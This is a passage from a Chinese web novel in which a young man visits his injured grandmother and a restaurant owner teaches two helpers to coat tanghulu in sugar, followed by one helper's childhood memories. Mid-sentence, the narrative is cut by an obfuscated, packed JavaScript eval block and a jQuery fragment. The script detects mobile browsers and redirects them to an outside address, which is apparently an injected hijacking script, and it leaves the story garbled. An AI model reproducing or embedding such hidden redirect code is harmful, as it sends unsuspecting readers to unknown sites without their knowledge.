邓一珩一脸受伤:“外婆,你下次给我发信息的时候,语气能不能不要太夸张,给我吓死了,还以为你真有个好歹,没想到只是轻微的挫伤,养两个星期就能好。”
“你这小没良心的,我年纪大了,摔一跤很严重的好不啦?我这是及时就医,才没事。”
“是是是。”邓一珩敷衍地回答,心里却在想着糖葫芦。
虽然外婆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14272778|148046||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伤的不重,但今晚自己还是要留下来照顾她,家里生意忙,只有他这个闲散人士有点时间了。
饭馆这边,凌越的糖已经熬好,呈现浅焦糖色,这个时候裹糖是最好的,串好的水果被她事先放进冷柜里冷冻上十分钟左右,可以加速糖的凝固,还可以延缓果肉被烫熟,山楂也不会那么容易开裂。
熬糖的锅要一直保持小火的状态,让糖始终保持在同一个温度,糖的流动性始终如一。
凌越的手法很精准快速,转一圈裹上糖,每一串糖葫芦都厚薄均匀。
“做糖葫芦最难的就是裹糖这一步骤,山楂酸,所以糖壳需要厚一些,中和味道,而山竹甜,只需要薄薄的一层就够,否则齁甜。”
凌越一边裹糖还不忘和二人科普。
路仁是脑子记住了但手学不会。
陶庆英则是手脑并用,也学着凌越的手法自己裹了两串,但都以失败告终。
她不敢再弄,浪费水果。
凌越并不生气,她刚做糖葫芦的时候也不是一次就成的。
“慢慢来,一开始失败很正常。”
陶庆英听到这话,内心的不自信少了很多,她抬头,一脸真挚:“越越姐,你好温柔。”
凌越被这话闪到了,第一次听到温柔这词和她搭边。
几人偶尔你一句我一句,冰糖葫芦不知不觉间就已经做好了。。
路仁率先拿一串草莓糖葫芦,细细观察。
糖衣很薄,在头顶灯的照射下亮晶晶的,迫不及待地用牙齿咬开,“咔擦”一声,糖衣开裂,些许冰凉的草莓果肉落入口中,咬一口带着糖衣的甜和草莓汁水的酸,微甜微酸,天衣无缝的组合!
“这个糖衣和薯片一样脆!而且一点也不甜腻,清甜,好吃欸。”路仁的大眼睛亮晶晶的,脸上都是对着串草莓冰糖葫芦的喜爱。
和路仁的激动不同,陶庆英望着手中一串大又红的山楂,思绪飘远。
冰糖葫芦对于小时候的她而言,总是有着心血来潮的冲动。
她的家乡在遥远的北边,冬天的时候,妈妈牵着小时候的她走在积雪的路上,雪软软的,踩上去会发出“miemie”的声音,不刺耳,很好听。
而冬日最好的伙伴往往是一串山楂糖葫芦,大街上随处可见的吆喝声,爷爷们扛着比人还高的架子,插满红彤彤的串儿,她会一时兴起甩开妈妈的手,奔跑着,到糖葫芦商贩前。
妈妈没办法,只好笑着追上她。
后来两人各拿一串糖葫芦,呼着白气咯咯笑着,趁机舔上一口,甜丝丝。
那时候的糖壳很厚很硬,山楂很酸,但生活很甜。
如今眼前这串,和记忆中的山楂糖葫芦重叠,但又不太一样。
她尝试着咬下一口,糖衣最抢舌,甜得人心满意足但又害怕牙病。壳硬,却不咯牙,糖衣过后是绵密的山楂果肉,细细咀嚼后口腔酸涩生津,又黏合着那一剂甜味的铺陈,酸甜香颊。
如今的冰糖葫芦种类繁多,香蕉、苹果、荔枝等等,但她最爱的,还是这样一串红彤彤的山楂糖葫芦。
还是记忆中的样子吧,因为她遇到了好的老板,好的朋友,生活同样很甜。